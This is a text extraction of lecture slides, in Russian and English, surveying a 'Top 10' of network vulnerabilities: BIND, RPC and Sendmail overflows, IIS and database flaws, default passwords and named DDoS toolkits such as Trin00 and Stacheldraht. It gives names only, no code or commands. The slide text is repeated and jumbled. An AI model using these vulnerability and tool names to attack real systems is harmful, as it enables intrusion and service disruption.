Слайд 70 Уязвимости BIND
BIND qinv
Compile flag turned on by default,

Уязвимости BINDBIND qinvCompile flag turned on by default, activated buffer-overflow, client

activated buffer-overflow, client request to server, script kiddie
BIND

nxt
Server to server response, buffer handling overflowable, more advanced
Exposure outside firewall
In.Named binary

Слайд 71 2. Weak Accounts
3. IIS (Microsoft Internet Information

2. Weak Accounts 3. IIS (Microsoft Internet Information Server) 4. Open Databases 5. E-Business

Server)
4. Open Databases
5. E-Business Web Applications
6. Open

Sendmail

7. File Sharing

1. Denial of Service Exploits

9. Bind

10. Linux Buffer Overflows

8. RPC (Remote Procedure Calls)

Top 10

Слайд 72 RPC (Remote Procedure Calls)
rpc.cmsd (sun-rpc.cmsd)
rpc-statd (sun-rpc-statd)
Sadmin (sol-sadmind-amslverify-bo)
Amd (amd-bo)
Mountd

RPC (Remote Procedure Calls)rpc.cmsd (sun-rpc.cmsd)rpc-statd (sun-rpc-statd)Sadmin (sol-sadmind-amslverify-bo)Amd (amd-bo)Mountd (linux-mountd-bo)Major script kiddie fodderHelped Enabled DDOS

(linux-mountd-bo)
Major script kiddie fodder
Helped Enabled DDOS

Слайд 73 8. RPC
9. Bind
10. Linux Buffer Overflows

8. RPC 9. Bind 10. Linux Buffer Overflows 7. File Sharing 2. Weak Accounts 3. IIS

7. File Sharing
2. Weak Accounts
3. IIS (Microsoft Internet

Information Server)

4. Open Databases

5. E-Business Web Applications

6. Open Sendmail

1. Denial of Service Exploits

Top 10

Слайд 74 File Sharing
Netbios
NFS
Impact is Affecting Cable Modem

File SharingNetbios NFS Impact is Affecting Cable Modem and DSL UsersSensitive

and DSL Users
Sensitive info – I.e., Banking account
Backdoor install
+

+ Rhosts для Unix - серверов

Слайд 75 2. Weak Accounts
3. IIS (Microsoft Internet Information

2. Weak Accounts 3. IIS (Microsoft Internet Information Server) 4. Open Databases 5. E-Business

Server)
4. Open Databases
5. E-Business Web Applications

1. Denial of Service Exploits

7. File Sharing

8. RPC

9. Bind

10. Linux Buffer Overflows

6. Open E-mail (электронная почта)

Top 10

Слайд 76 Электронная почта
Sendmail Pipe Attack (smtp-pipe)
Sendmail MIMEbo “root access” (sendmail-mime-bo2)
Incoming

Электронная почтаSendmail Pipe Attack (smtp-pipe)Sendmail MIMEbo “root access” (sendmail-mime-bo2)Incoming viruses, LOVEMany

viruses, LOVE
Many localhost getroot exploits for sendmail
Attacks may by-pass

firewalls that allow incoming email directly to internal

Слайд 77 2. Weak Accounts
3. IIS (Microsoft Internet Information

2. Weak Accounts 3. IIS (Microsoft Internet Information Server) 4. Open Databases

Server)
4. Open Databases
1. Denial of Service Exploits


6. Open E-mail

7. File Sharing

8. RPC

9. Bind

10. Linux Buffer Overflows

5. E-Business Web Applications

Top 10

Слайд 78 E-business Web Applications
NetscapeGetBo (netscape-get-bo) “control server”
HttpIndexserverPath (http-indexserver-path)

E-business Web ApplicationsNetscapeGetBo (netscape-get-bo) “control server” HttpIndexserverPath (http-indexserver-path) “path info”Frontpage Extensions

“path info”
Frontpage Extensions (frontpage-ext) “readable passwords”
FrontpagePwdAdministrators
(frontpage-pwd-administrators) “reveal

pwd”

Слайд 79 2. Weak Accounts
3. IIS (Microsoft Internet Information

2. Weak Accounts 3. IIS (Microsoft Internet Information Server) 1. Denial of Service

Server)
1. Denial of Service Exploits
5. E-Business Web

Applications

6. Open E-mail

7. File Sharing

8. RPC

9. Bind

10. Linux Buffer Overflows

4. Open Databases

Top 10

Слайд 80 Open Databases
Oracle default account passwords
Oracle setuid root oratclsh
SQL

Open DatabasesOracle default account passwordsOracle setuid root oratclshSQL Server Xp_sprintf buffer overflowSQL Server Xp_cmdshell extended

Server Xp_sprintf buffer overflow
SQL Server Xp_cmdshell extended

Слайд 81 4. Open Databases
5. E-Business Web Applications

4. Open Databases 5. E-Business Web Applications 6. Open E-mail 7. File Sharing 8. RPC

6. Open E-mail
7. File Sharing
8. RPC
9. Bind
10. Linux

Buffer Overflows

3. IIS (Microsoft Internet Information Server)

2. Weak Accounts

1. Denial of Service Exploits

Top 10

Слайд 82 IIS (Microsoft Internet Information Server)
RDS
HTR
Malformed header
Htdig Remote Shell

IIS (Microsoft Internet Information Server)RDSHTRMalformed headerHtdig Remote Shell Execution PWS File

Execution
PWS File Access
CGI Lasso “read arbitrary files”
PHP3

safe mode metachar remote execution
PHP mlog.html read files

Слайд 83 3. IIS (Microsoft Internet Information Server)
4. Open Databases

3. IIS (Microsoft Internet Information Server) 4. Open Databases 5. E-Business Web Applications


5. E-Business Web Applications
6. Open E-mail
7. File Sharing


8. RPC

9. Bind

10. Linux Buffer Overflows

2. Weak Accounts (слабые пароли)

1. Denial of Service Exploits

Top 10

Слайд 84 Слабые пароли
Бюджеты по умолчанию
Routers
Servers
No set Passwords for admin/root

Слабые паролиБюджеты по умолчаниюRoutersServersNo set Passwords for admin/root accountsSNMP with public/private community strings set

accounts
SNMP with public/private community strings set

Слайд 85 2. Weak Accounts
3. IIS (Microsoft Internet Information

2. Weak Accounts 3. IIS (Microsoft Internet Information Server) 4. Open Databases 5. E-Business

Server)
4. Open Databases
5. E-Business Web Applications
6. Open

E-mail

7. File Sharing

8. RPC

9. Bind

10. Linux Buffer Overflows

1. Denial of Service Exploits

Top 10

Слайд 86 Атаки «Denial of Service»
Trinity
TFN
TFN2k
Trin00
Stacheldraht
FunTime
Windows platform (W9x/2K/NT)
Preprogrammed for specific

Атаки «Denial of Service»TrinityTFNTFN2kTrin00StacheldrahtFunTimeWindows platform (W9x/2K/NT)Preprogrammed for specific time and targetAll are distributed for maximum effect

time and target
All are distributed for maximum effect

  • Имя файла: tipovaya-korporativnaya-set-ponyatie-uyazvimosti-i-ataki-4.pptx
  • Количество просмотров: 136
  • Количество скачиваний: 0
- Предыдущая Психология личности
Следующая - Царственные мученики

Похожие презентации

Текстовый процессор Microsoft Word Текстовый процессор Microsoft Word 118
Словарь терминов, используемых при работе с MS Word Словарь терминов, используемых при работе с MS Word 104
Количество информации Количество информации 153
Работа с системой дистанционного обучения Работа с системой дистанционного обучения 101
Презетация История развития WWW Презетация История развития WWW 137
Стек Стек 104
Понятие об операционной системе Понятие об операционной системе 94
Разработка открытого урока по информатике на тему Основы алгебры логики (обобщающий урок) Разработка открытого урока по информатике на тему Основы алгебры логики (обобщающий урок) 133
Общение в Интернете в реальном времени Общение в Интернете в реальном времени 45
Сервисы Интернет Сервисы Интернет 124
КЛАССИФИКАЦИЯ КОМПЬЮТЕРНЫХ СЕТЕЙ КЛАССИФИКАЦИЯ КОМПЬЮТЕРНЫХ СЕТЕЙ 118
Презентация по информатике на тему Игра- Компьютерный турнир Презентация по информатике на тему Игра- Компьютерный турнир 110
Презентация по информатике 2 класс Устройства ввода информации Презентация по информатике 2 класс Устройства ввода информации 128
Quality Assurance Лекция №16 Quality Assurance Лекция №16 94
SQL Structured Query Language. JDBC, mysql SQL Structured Query Language. JDBC, mysql 131
Презентация Перевод чисел в позиционных системах счисления Презентация Перевод чисел в позиционных системах счисления 130
Основы работы на ЭВМ Основы работы на ЭВМ 115
Контроль на уроках информатики Контроль на уроках информатики 140
Основные типы алгоритмических структур Основные типы алгоритмических структур 128
Программирование на языке СИ Программирование на языке СИ 152
Решение задач С1 ЕГЭ Решение задач С1 ЕГЭ 137
Логиканың негізгі түсініктері. Бастауыш және оның жасалу жолдары слайд Логиканың негізгі түсініктері. Бастауыш және оның жасалу жолдары слайд 125
Операционная система Операционная система 108
Дополнительный материал к разделу Информатика и информация Дополнительный материал к разделу Информатика и информация 128
Основы коррекции тона Основы коррекции тона 102
MRP системы MRP системы 145
Презентация Информатика курс үлгісі Презентация Информатика курс үлгісі 113
интерактивное пособие Наша Армия презентация урока для интерактивной доски по информатике (старшая группа) интерактивное пособие Наша Армия презентация урока для интерактивной доски по информатике (старшая группа) 47
Информационные процессы Информационные процессы 84
Презентация по информатике на тему Компьютерная графика (7 класс) Презентация по информатике на тему Компьютерная графика (7 класс) 133